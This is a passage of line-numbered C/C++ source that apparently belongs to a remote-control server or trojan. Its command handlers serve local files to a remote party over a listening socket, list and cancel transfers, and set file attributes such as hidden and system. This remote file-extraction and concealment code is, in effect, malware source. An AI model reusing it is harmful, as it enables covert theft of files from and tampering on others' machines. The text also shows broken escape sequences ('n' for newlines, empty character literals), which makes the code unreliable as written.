  829. if((svParam=BreakString(svEnc,","))!=NULL) {
  830. if(svParam[0]!='') svAuth=svParam;
  831. }
  832. }
  833. }
  834. }
  835. if(svBindStr[0]=='') {
  836. svBindStr="RANDOM";
  837. }
  838. char svShortNetMod[16],svShortEnc[16],svShortAuth[16];
  839. if(svNetMod[0]=='') {
  840. svNetMod=cas_from->m_pIOH->pQuery();
  841. }
  842. lstrcpyn(svShortNetMod,svNetMod,16);
  843. BreakString(svShortNetMod,":");
  844. if(svEnc[0]=='') {
  845. svEnc=cas_from->m_pEE->pQuery();
  846. }
  847. lstrcpyn(svShortEnc,svEnc,16);
  848. BreakString(svShortEnc,":");
  849. if(svAuth[0]=='') {
  850. svAuth=cas_from->GetAuthHandler()->pQuery();
  851. }
  852. lstrcpyn(svShortAuth,svAuth,16);
  853. BreakString(svShortAuth,":");
  854. if(svArg3==NULL) {
  855. IssueAuthCommandReply(cas_from,comid,0,"Could not open. Must supply local filename.n");
  856. LeaveCriticalSection(&g_csXfer);
  857. return -1;
  858. }
  860. CAuthSocket *fas=ListenAuthSocket(NULL,cas_from->GetUserID(),NULL,svBindStr,svNetMod,svEnc,svAuth);
  861. if(fas==NULL || fas==(CAuthSocket *)0xFFFFFFFF) {
  862. IssueAuthCommandReply(cas_from,comid,0,"Could not bind socket.n");
  863. LeaveCriticalSection(&g_csXfer);
  864. return -1;
  865. }
  867. HANDLE hFile=CreateFile(svArg3,GENERIC_READ,0,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL);
  868. if(hFile==INVALID_HANDLE_VALUE) {
  869. IssueAuthCommandReply(cas_from,comid,0,"Could not open local file.n");
  870. fas->Close();
  871. LeaveCriticalSection(&g_csXfer);
  872. return -1;
  873. }
  875. // Create transfer thread
  876. XFERFILEARGS *pArgs=(XFERFILEARGS *)malloc(sizeof(XFERFILEARGS));
  877. pArgs->hFile=hFile;
  878. pArgs->fas=fas;
  879. pArgs->pbActive=&(g_pXferInfo[g_nXfers].bActive);
  881. DWORD tid;
  882. HANDLE htd=CreateThread(NULL,0,EmitFileThread,pArgs,CREATE_SUSPENDED,&tid);
  883. if(htd==NULL) {
  884. IssueAuthCommandReply(cas_from,comid,0,"Could not create thread.n");
  885. CloseHandle(hFile);
  886. fas->Close();
  887. LeaveCriticalSection(&g_csXfer);
  888. return -1;
  889. }
  891. // Add transfer to table
  892. fas->GetConnectAddr(g_pXferInfo[g_nXfers].svName,256);
  893. lstrcpyn(g_pXferInfo[g_nXfers].svPath,svArg3,MAX_PATH);
  894. g_pXferInfo[g_nXfers].bActive=TRUE;
  895. g_pXferInfo[g_nXfers].nType=EMIT;
  896. g_pXferInfo[g_nXfers].htd=htd;
  897. g_nXfers++;
  898. LeaveCriticalSection(&g_csXfer);
  900. char svMsg[512];
  901. wsprintf(svMsg, "File emit started from: %.256s,%.16s,%.16s,%.16sn",
  902. g_pXferInfo[g_nXfers-1].svName,
  903. svShortNetMod,
  904. svShortEnc,
  905. svShortAuth);
  906. IssueAuthCommandReply(cas_from,comid,0,svMsg);
  908. ResumeThread(htd);
  909. return 0;
  910. }
  914. int CmdProc_ListTransfers(CAuthSocket *cas_from, int comid, DWORD nArg1, char *svArg2, char *svArg3)
  915. {
  916. EnterCriticalSection(&g_csXfer);
  917. IssueAuthCommandReply(cas_from,comid,1,"Active transfers list:n");
  919. int i;
  920. for(i=0;i<g_nXfers;i++) {
  921. char svMsg[1024];
  922. if(g_pXferInfo[i].nType==RECV) {
  923. wsprintf(svMsg,"Recv on %.256s: %.260sn",g_pXferInfo[i].svName,g_pXferInfo[i].svPath);
  924. } else if(g_pXferInfo[i].nType==SEND) {
  925. wsprintf(svMsg,"Send to %.256s: %.260sn",g_pXferInfo[i].svName,g_pXferInfo[i].svPath);
  926. } else if(g_pXferInfo[i].nType==EMIT) {
  927. wsprintf(svMsg,"Emit from %.256s: %.260sn",g_pXferInfo[i].svName,g_pXferInfo[i].svPath);
  928. }
  929. IssueAuthCommandReply(cas_from,comid,1,svMsg);
  930. }
  931. IssueAuthCommandReply(cas_from,comid,1,"End of list.n");
  932. LeaveCriticalSection(&g_csXfer);
  933. return 0;
  934. }
  936. int CmdProc_CancelTransfer(CAuthSocket *cas_from, int comid, DWORD nArg1, char *svArg2, char *svArg3)
  937. {
  938. EnterCriticalSection(&g_csXfer);
  940. // Find transfer entry from pathname
  941. int i;
  942. for(i=0;i<g_nXfers;i++) {
  943. if(lstrcmp(g_pXferInfo[i].svPath,svArg3)==0) {
  944. break;
  945. }
  946. }
  947. if(i==g_nXfers) {
  948. IssueAuthCommandReply(cas_from,comid,0,"No such transfer.n");
  949. LeaveCriticalSection(&g_csXfer);
  950. return -1;
  951. }
  952. // Try to cancel transfer
  953. HANDLE htd=g_pXferInfo[i].htd;
  954. g_pXferInfo[i].bActive=FALSE;
  955. LeaveCriticalSection(&g_csXfer);
  957. if(WaitForSingleObject(htd,5000)!=WAIT_OBJECT_0) {
  958. IssueAuthCommandReply(cas_from,comid,0,"Couldn't cancel in 5 sec.n");
  959. return -1;
  960. }
  962. IssueAuthCommandReply(cas_from,comid,0,"Transfer operation canceled.n");
  963. return 0;
  964. }
  966. int CmdProc_SetFileAttr(CAuthSocket *cas_from, int comid, DWORD nArg1, char *svArg2, char *svArg3)
  967. {
  968. DWORD dwAttr;
  969. int i,count;
  971. if(svArg3==NULL || svArg2==NULL) {
  972. IssueAuthCommandReply(cas_from,comid,0,"Could not change attributes. Invalid parameters.n");
  973. return -1;
  974. }
  976. dwAttr=0;
  977. count=lstrlen(svArg3);
  978. for(i=0;i<count;i++) {
  979. if(svArg3[i]=='A' || svArg3[i]=='a') dwAttr|=FILE_ATTRIBUTE_ARCHIVE;
  980. if(svArg3[i]=='H' || svArg3[i]=='h') dwAttr|=FILE_ATTRIBUTE_HIDDEN;
  981. if(svArg3[i]=='S' || svArg3[i]=='s') dwAttr|=FILE_ATTRIBUTE_SYSTEM;
  982. if(svArg3[i]=='R' || svArg3[i]=='r') dwAttr|=FILE_ATTRIBUTE_READONLY;
  983. if(svArg3[i]=='T' || svArg3[i]=='t') dwAttr|=FILE_ATTRIBUTE_TEMPORARY;
  984. }
  985. if(SetFileAttributes(svArg2,dwAttr)==0) {
  986. IssueAuthCommandReply(cas_from,comid,0,"Could not change attributes.n");
  987. return -1;
  988. }
  990. IssueAuthCommandReply(cas_from,comid,0,"Attributes changed.n");
  991. return 0;
  992. }